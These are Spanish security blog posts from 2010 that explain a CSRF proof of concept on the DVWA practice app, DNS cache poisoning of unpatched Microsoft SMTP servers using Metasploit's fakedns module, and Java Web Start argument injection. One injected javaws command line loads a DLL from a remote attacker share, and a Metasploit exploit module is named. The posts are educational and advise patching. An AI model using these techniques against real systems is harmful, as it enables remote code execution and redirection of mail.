martes, 25 de mayo de 2010

Defcon18 CTF PreQuals: WriteUps (Soluciones)

Tanto si has participado como si no, siempre es interesante ver las soluciones de otros, como han resuelto aquello en lo que te quedaste enganchado, o simplemente intentar pensar si lo hubieras podido resolver si hubieras participado (aunque para este caso siempre somos un poco "sobrados", cuando otro nos dice la solución siempre parece muy fácil :P

Bueno, el caso es que las PreQuals del CTF de la Defcon18 acabaron ayer a las 04:00 de la mañana, y en estos momentos llevamos unas cuantas horas que diversos participantes están publicando sus soluciones, así que me ha parecido interesante hacer una pequeña recopilación que iremos completando según vayan saliendo soluciones. Por supuesto, dejad comentarios si veis más soluciones que merece la pena incluir :)

Allá vamos, por categorías, que como ya sabeis están puntuadas de 100 a 500 en función de la dificultad:
También se han publicado algunos videos.

Si alguien encuentra por ahí algún WriteUp para los que faltan, o una solución mejor o mejor explicada a los que hay aquí, que ponga un comentario y lo cambiamos.

Gracias también a todas las personas a las que sigo en Twitter, y a Google, sin cuya colaboración este post no sería posible :P A ver si lo conseguimos completar entre todos.

Desde Pentester.Es, enhorabuena a aquellos equipos que se han clasificado para la final en Las Vegas.
Mucha suerte!

miércoles, 19 de mayo de 2010

Creando PoC CSRF: CSRFTester 1.0

Todos o casi todos conoceréis el proyecto OWASP dada su relevancia hoy en día y por el gran trabajo que están realizando todos los participantes de este proyecto. Dentro de la multitud de proyectos, existe uno con nombre "OWASP CSRFTester Project". Este proyecto tiene como objetivo ofrecer una herramienta a los desarrolladores para testear sus aplicaciones frente a vulnerabilidades del tipo CSRF (Cross-Site Request Forgery).

Entre la gran variedad de documentación sobre CSRF podéis consultar la guía de OWASP en la prueba OWASP-SM-005 para entender bien la técnica (está muy bien explicado :D, por lo que no entraremos en esta entrada). Una vez leído y entendido pasamos a crear una prueba de concepto.

Para variar (jijijiji), usaremos la aplicación DVWA para atacarla; ya habéis visto que es una de mis favoritas:



Como vemos en la aplicación existe un ejemplo para probar un ataque de CSRF. Así que vamos a crear una prueba de concepto con CSRFTester para aprovecharla.



En la imagen anterior se ve como la funcionalidad bajo el menú CSRF permite cambiar la contraseña introduciéndo dos veces la nueva contraseña. Una vez vista la funcionalidad de la aplicación que queremos que ejecute la víctima sin darse cuenta, arrancamos CSRFTester para construir la prueba de concepto. La herramienta se pondrá a escuchar en el puerto 8008 por defecto:



Ahora configuramos el proxy del navegador a la ip donde hemos levantado CSRFTester y el puerto 8008 (en este caso localhost:8008). Una vez hecho esto arrancamos la herramienta con el botón "Start Recording"; rellenamos los campos del formulario de la funcionalidad y presionamos el botón de "Change", con lo que registraremos un petición en CSRFTester:



Acto seguido presionamos el botón "Generate HTML", seleccionando por ejemplo "Report type > Form", obteniendo el siguiente resultado en formato html:





Si una víctima visita este ejemplo de página web y está a su vez autenticado en la aplicación se cambiará la contraseña sin su consentimiento y de manera automática. Como véis el objetivo del post es que podáis hacer de la manera más rapida posible pruebas de concepto sobre CSRF.

Como siempre espero que os sea de utilidad, tanto a desarrolladores como pentesters.

martes, 11 de mayo de 2010

DNS Poisoning sobre Microsoft SMTP

Hace unos días, la gente de Core Security publicaba en su web un Advisory en el que comentaban haber descubierto la corrección de dos vulnerabilidades de gran importancia en los servicios SMTP de Microsoft. Según parece, Microsoft corrigió estas vulnerabilidades en el parche MS10-024, pero sin notificar su existencia ni su criticidad, ya que el "Maximum Security Impact" (impacto de seguridad máximo) de dicho parche era de Denegación de Servicio, lo cual parece no ser exacto a tenor del descubrimiento del equipo de Core Security.

Según el Advisory, las vulnerabilidades consisten en la utilización por parte de los servicios Microsoft SMTP y Exchange de una rutina propia para la resolución de nombres DNS a la hora de realizar el envío de correos electrónicos, la cual presentaba 2 vulnerabilidades que podrían permitir a un atacante realizar un envenenamiento de la caché del servidor de correo, y por tanto provocar una redirección del correo con destino al dominio envenenado a un servidor arbitrario (controlado por un atacante, claro). Veamos las vulnerabilidades:

1. Predecibilidad en los IDs:

El problema de predecibilidad en los IDs de DNS fue corregido por la mayoría de los fabricantes allá por el 2008, con la aparición del famoso Ataque Kaminsky del que ya hablamos en un par de ocasiones y que causó tanto revuelo en aquel momento debido a su criticidad. Sin embargo, esta rutina empleada por los servicios SMTP de Microsoft ha mantenido este problema hasta la aparición del pache MS10-024.

Para comprobar esta vulnerabilidad y verla con nuestros propios ojos, podemos realizar una sencilla prueba empleando el módulo de Metasploit server/fakedns, el cual nos va a permitir levantar un servicio DNS que devuelva ante todas las peticiones la respuesta que nosotros queremos, pero esa funcionalidad en estos momentos no nos interesa, sino que nos basta con poder ver el log que deja ante dichas peticiones, para observar la aleatoriedad de los IDs, puertos, etc.

# ./msfconsole
msf > use server/fakedns
msf auxiliary(fakedns) > set TARGETHOST 172.16.24.150
TARGETHOST => 172.16.24.150
msf auxiliary(fakedns) > run

En ese momento Metasploit nos devuelve el control de la consola, pero nuestro servicio se ha quedado ya a la escucha y nos va a ir logando por pantalla toda la información que queremos, así que solo tenemos que ir a un sistema Windows (en mi caso un Windows 2003 Server) y realizar dos sencillas prueba: en primer lugar abrimos un cmd.exe y resolvemos el nombre de varios dominios aleatoriamente, los que prefiramos, y en segundo lugar nos conectamos al puerto 25 de dicho servidor e intentamos mandar un correo electrónico a cuentas de dominios igualmente aleatorios. Tras hacer ambas pruebas, el resultado en nuestro servidor Fake DNS es el siguiente:


Como se puede observar, en las primera pruebas (desde cmd.exe) vemos que el ID (marcado como XID) es aleatorio, o al menos no parece visiblemente predecible (luego nunca se sabe, que se lo digan a los de Debian). Sin embargo, en la segunda tanda de pruebas (desde el servidor SMTP) vemos que la generación de los XID es claramente diferente. Podemos ver marcado en rojo como el XID inicial es 1 (la máquina se acababa de arrancar), y que sucesivamente se ha ido incrementando con cada petición, aunque hayamos cambiado de dominio, por lo que os podéis imaginar que la predecibilidad es total.

Además, si pegamos un vistazo a los puertos de origen (marcados en azul) vemos que tampoco se ha hecho un gran esfuerzo por hacerlo aleatorio, ya que podemos observar que son casi secuenciales (seguramente el puerto que falta entre medias es el intento de conexión SMTP o similar).

Por lo tanto, si tanto el ID como el puerto de origen son algo trivialmente predecible y son la única medida que protege al protocolo DNS de la realización de ataques de DNS Spoofing... nos encontramos con que, al igual que sucedía con el Ataque Kaminsky, es posible lanzar una ráfaga de paquetes con IP y puerto de origen falseado que contentan una resolución falsa que nos permita, en este caso, redirigir TODOS los correos enviados a un dominio a un servidor de nuestra elección.


2. No utilización de los IDs para validar la respuesta:

Yo me quedé de piedra con esta. Como lo oís: además de generar los IDs de forma secuencial... directamente no se comprueba que la respuesta DNS tenga el mismo ID que fue generado para la petición DNS, así que el ataque anterior se acaba de volver mucho más sencillo, ya que no es necesario intentar obtener el último ID utilizado para realizar el ataque, sino simplemente el último puerto.

Para comprobarlo, realizamos una pequeña modificación en el módulo de Metasploit que ya utilizamos anteriormente, el server/fakedns. Este módulo, toma la petición que le enviamos, le incorpora un campo donde se encuentra la resolución solicitada y quizá algún campo ocasional, y lo devuelve al origen de la petición, conservando en todo momento el ID con el que llegó dicha petición. Para ver con nuestros propios ojos esto de que el servicio SMTP de Microsoft no hace ni caso del ID vamos a realizar una modificación de este módulo para hardcodear el valor del ID, de tal manera que forcemos que las respuestas tengan un ID diferente a las peticiones. Para ello, partiendo del directorio raíz de Metasploit (donde está msfconsole), editamos el fichero modules/auxiliary/server/fakedns.rb y buscamos la cadena "send", lo cual nos llevará a la instrucción en la que la respuesta es enviada. Una vez en esa zona del código, introducimos la siguiente modificación:


Esta modificación lo que nos permite es fijar el valor del ID de los paquetes de respuesta a "69" (por ejemplo :P), independientemente del origen. Veamos ahora si sigue funcionando (recordad reiniciar Metasploit para que se vuelva a cargar este módulo, sino no va a funcionar):


Parece que el asunto funciona, o al menos eso nos muestra Metasploit, pero vamos a ir al que "nunca nos miente", al tcpdump, a ver que está pasando realmente por debajo:


Efectivamente, hemos conseguido lo que queríamos, vemos que el servidor SMTP nos está pidiendo la resolución DNS con ID 1, y que nosotros estamos enviando una respuesta válida, con el puerto adecuado, desde la IP adecuada, pero con un ID totalmente inventado. Ahora nos falta por ver si el servidor SMTP se lo ha tragado, y para ello lo mejor es poner un NetCat en el puerto 25 para ver si el servidor realiza conexión TCP contra esta máquina, ya que si lo hace quiere decir que "ha picado" y que se dispone a enviar el correo a la IP de la respuesta malformada (con ID diferente):


Parece que el asunto ha colado. Increíble pero cierto.

En resumen, todos aquellos servidores SMTP de Microsoft a los que no se les haya aplicado el parche MS10-024 son vulnerables a envenenamiento de sus DNSs y por tanto a la redirección de correos a servidores arbitrarios, con tan solo ser capaces de predecir el puerto de origen (trivial, como podemos ver) y tener un poco de suerte a la hora de que las respuestas maliciosas sean un poco más rápidas que las auténticas.

Se recomienda por tanto a todos los administradores de servidores de este tipo que apliquen este parche, aunque Microsoft no lo catalogue con la criticidad correspondiente.

martes, 4 de mayo de 2010

Explotando Java Web Start

En nuestro post de ayer comentabamos con detalle la vulnerabilidad en Java Web Start encontrada recientemente por Ruben Santamarta y Tavis Ormandy, pero nos quedabamos con un par de preguntas: ¿Podemos controlar el contenido de esas variables que son utilizadas para formar la llamada al binario sin ningún tipo de filtraro? ¿Cómo lo haríamos?

Pues bien, ¡vamos allá!

Según se puede leer en la documentación oficial de Java sobre como utilizar los tags Applet, Embed y Object, es posible establecer como parámetros los valores de estas variables que comentabamos en nuestro post anterior. Como resultado, podriamos contruir un código HTML que, al ser visitado por nuestro objetivo, ejecutara el Applet Java que le pasaramos, con las opciones que nosotros queramos, debido a esta vulnerabilidad.

Vamos a comprobarlo con este pequeño código de ejemplo:


Hemos incluido en las opciones todo tipo de caracteres que nos pudieran resultar útiles a la hora de la explotación, como guiones, comillas y tuberías, para comprobar si efectivamente las cadenas que introduzcamos en este código HTML van a utilizarse tal cual en la llamada al binario de Java, sin ningún tipo de filtrado.

Para comprobar exactamente como es la llamada a la función, nos hemos hecho un sencillo programita en C que sencillamente lo que hace es capturar las opciones con las que ha sido llamado y las guarda en un fichero de texto, a modo de log:

(Disclaimer: Este código ha sido desarrollado de forma rápida para realizar la demostración sin tener en consideración las buenas prácticas de programación y seguridad. NO utilizar en entornos diferentes a pruebas ni de ninguna manera en la que no se controle los parámetros con lo que es llamado el binario)

Este código, una vez compilado, ha sustituido al binario javaws.exe, para de esta manera poder disponer de un registro en el que veremos exactamente como han sido las llamadas, obteniendo el siguiente resultado:


Como podemos ver, esta vulnerabilidad nos va a permitir establecer las opciones que queramos en la llamada a javaws.exe, aunque no realizar directamente una ejecución de comandos, ya que el binario es llamado mediante la función CreateProcess, y no lanzado directamente a una shell de comandos. No obstante, pegando un vistazo a las opciones que nos permite utilizar javaws.exe, tenemos las siguientes:


Mediante la opción "-J" podemos establecer parámetros que serán enviados directamente a la máquina virtual, incluida una opción oculta de la máquina virtual y que no aparece en los menús de ayuda, llamada -XXaltjvm, que nos permitiría la inclusión de una librería alternativa.

¡BINGO! Si podemos incluir una librería podemos crear una librería que sea accesible a través de la red y que realice la ejecución del payload que queramos. Luego solo hay que pasar los parámetros adecuados a través del HTML que veíamos antes para que nuestra DLL sea cargada y... tachan! ejecución remota de código.

Para realizar todo esto de una forma cómoda, existe un plugin de Metasploit llamado java_ws_arginject_altjvm que podemos utilizar, veamos con que opciones:


Una vez lanzado el exploit, un servidor HTTP será lanzado a la escucha en el puerto 80, esperando conexiones a las que les devolverá el código HTML que explota la vulnerabilidad, obteniendo así el control de la máquina:


Si sustituimos de nuevo el binario javaws.exe por nuestro binario que registra los parámetros, obtenemos que el exploit de Metasploit está introduciendo los siguientes parámetros:

javaws.exe -docbase -J-XXaltjvm=\\172.16.24.150\aleatorio1 aleatorio2.jnlp

Esta vulnerabilidad es considerada de criticidad máxima, por lo que se recomienda a todos los usuarios de prácticamente cualquier sistema operativo que actualicen su versión de Java a la última disponible, y se aseguren que esta es al menos la 1.6.0_20, ya que esta es la versión en la que se introdujo el parche de esta vulnerabilidad. Más información en las release notes.

lunes, 3 de mayo de 2010

Vulnerabilidad en Java Web Start

Hace algunas semanas, en el twitter de Ruben Santamarta, un conocido investigador Español, podíamos ver el siguiente comentario:


Con la liebre correteando por ahí y todos nosotros desinstalando Java de nuestros navegadores, Rubén publico en su web algunos detalles más sobre la vulnerabilidad, que parece haber sido descubierta casi simultáneamente por él y por Tavis Ormandy, otro conocido investigador.

Según parece, la vulnerabilidad reside en una mala validación de ciertos parámetros que se pasan por linea de comandos al binario java.exe/javaws.exe en el momento que un navegador quiere ejecutar contenido Java.

Voy a tomarme la pequeña libertad de comentar el código publicado por Rubén, en su página web. También añadiré alguna captura mía de algún trozo de código que me parece interesante y que no aparece en la publicación de Rubén.


Aunque parezca raro, creo que en esta ocasión lo mejor para entender la vulnerabilidad es comenzar desde el final, es decir, desde el momento que se llama a javaws.exe. Si nos fijamos en el final del código seleccionado por Rubén, vemos que se apilan un montón de parámetros (push) antes de llamar a la función CreateProcessA. Esta función va a ser la encargada de crear un nuevo proceso con los parámetros que nosotros le hayamos pasado a través de la pila, es decir, todos esos parámetros que justo antes de la llamada estaban siendo apilados. Podemos obtener más información sobre estos parámetros acudiendo a la documentación oficial de Microsoft.

De entre todos estos parámetros, el afectado por la vulnerabilidad es lpCommandLine, mediante el cual le especificamos a la función con que parámetros en linea de comandos deberá llamar al binario (javaws.exe). En este caso, vemos que se está realizando un "push esi", es decir, en el lugar de la pila de donde CreateProcessA va a sacar el valor de lpCommandLine estamos metiendo el valor contenido en el registro ESI.

Perfecto.
Y...
¿Qué narices hay en ESI? :P


Evidentemente, el registro ESI podría haber sido cambiado en cualquier sitio y posteriormente haber hecho un salto a la zona de código que vemos, pero si no me equivoco si esto fuera así el IDA Pro nos habría etiquetado la linea con un "loc_direccion", y no es el caso. Dicho esto, vemos que solo existen dos posibilidades:
  1. La ejecución viene de la dirección 6DAA3EB7 y al llegar a 6DAA3EC6 hace un salto a 6DAA3ED4 (jmp short loc_6DAA3ED4).
  2. La ejecución ha saltado de una zona anterior al código que no vemos a 6DAA3EC8 y desde ahí ha seguido su ejecución normal hasta llegar a 6DAA3ED4 sin ningún tipo de saltos, ya que su código es consecutivo.

Vamos a seguir trazando hacia atrás a ver si vemos donde se ha definido el contenido del registro ESI. En este caso, para ambas opciones vemos que ESI contiene la dirección de memoria de un Buffer donde se va a guardar la cadena de texto resultado de la llamada a la función wsprintfA. Esta función es prácticamente idéntica (solo cambia el soporte para Unicode, que yo sepa) a la típica función de C "sprintf", en la que definimos un buffer de destino (al que apunta ESI), una cadena de formato del tipo "%s loquesea %d blablabla %s" y las referencias a los datos que irán en los "huecos" que hayamos dejado en la cadena de formato (en mi ejemplo, 3, cadena de texto, entero, cadena de texto). Como antes, podemos obtener más información sobre esta función acudiendo a la documentación oficial de Microsoft.



En el caso que nos ocupa, podemos ver que estamos utilizando 3 cadenas para formar una cadena de la siguiente forma:

Aplicacion [-docbase OpcionesDocBase] Opciones

Siendo esto así, vemos que tanto "OpcionesDocBase" ([ebp+arg_4]) como "Opciones" ([ebp+arg_0]) están saliendo DIRECTAMENTE de los argumentos con los que se ha llamado a la función, por lo que no parece existir ningún tipo de filtrado que impida que introduzcamos espacios en blanco, guiones u otros caracteres que nos permitan modificar los argumentos con los que se creará el nuevo proceso.

Las preguntas evidentes que nos surgen ahora son:
  1. ¿Podemos controlar esos parámetros de forma remota de alguna manera? Porque sino... para poco nos va a servir todo lo que acabamos de ver.
  2. Suponiendo que controlamos los parámetros que se le pasan a estos binarios, ¿para que sirve eso? ¿es peligroso para la seguridad?
Las respuestas son SI, podemos controlar esos parámetros y es peligroso para la seguridad.
Mañana: "Explotando Java Web Start"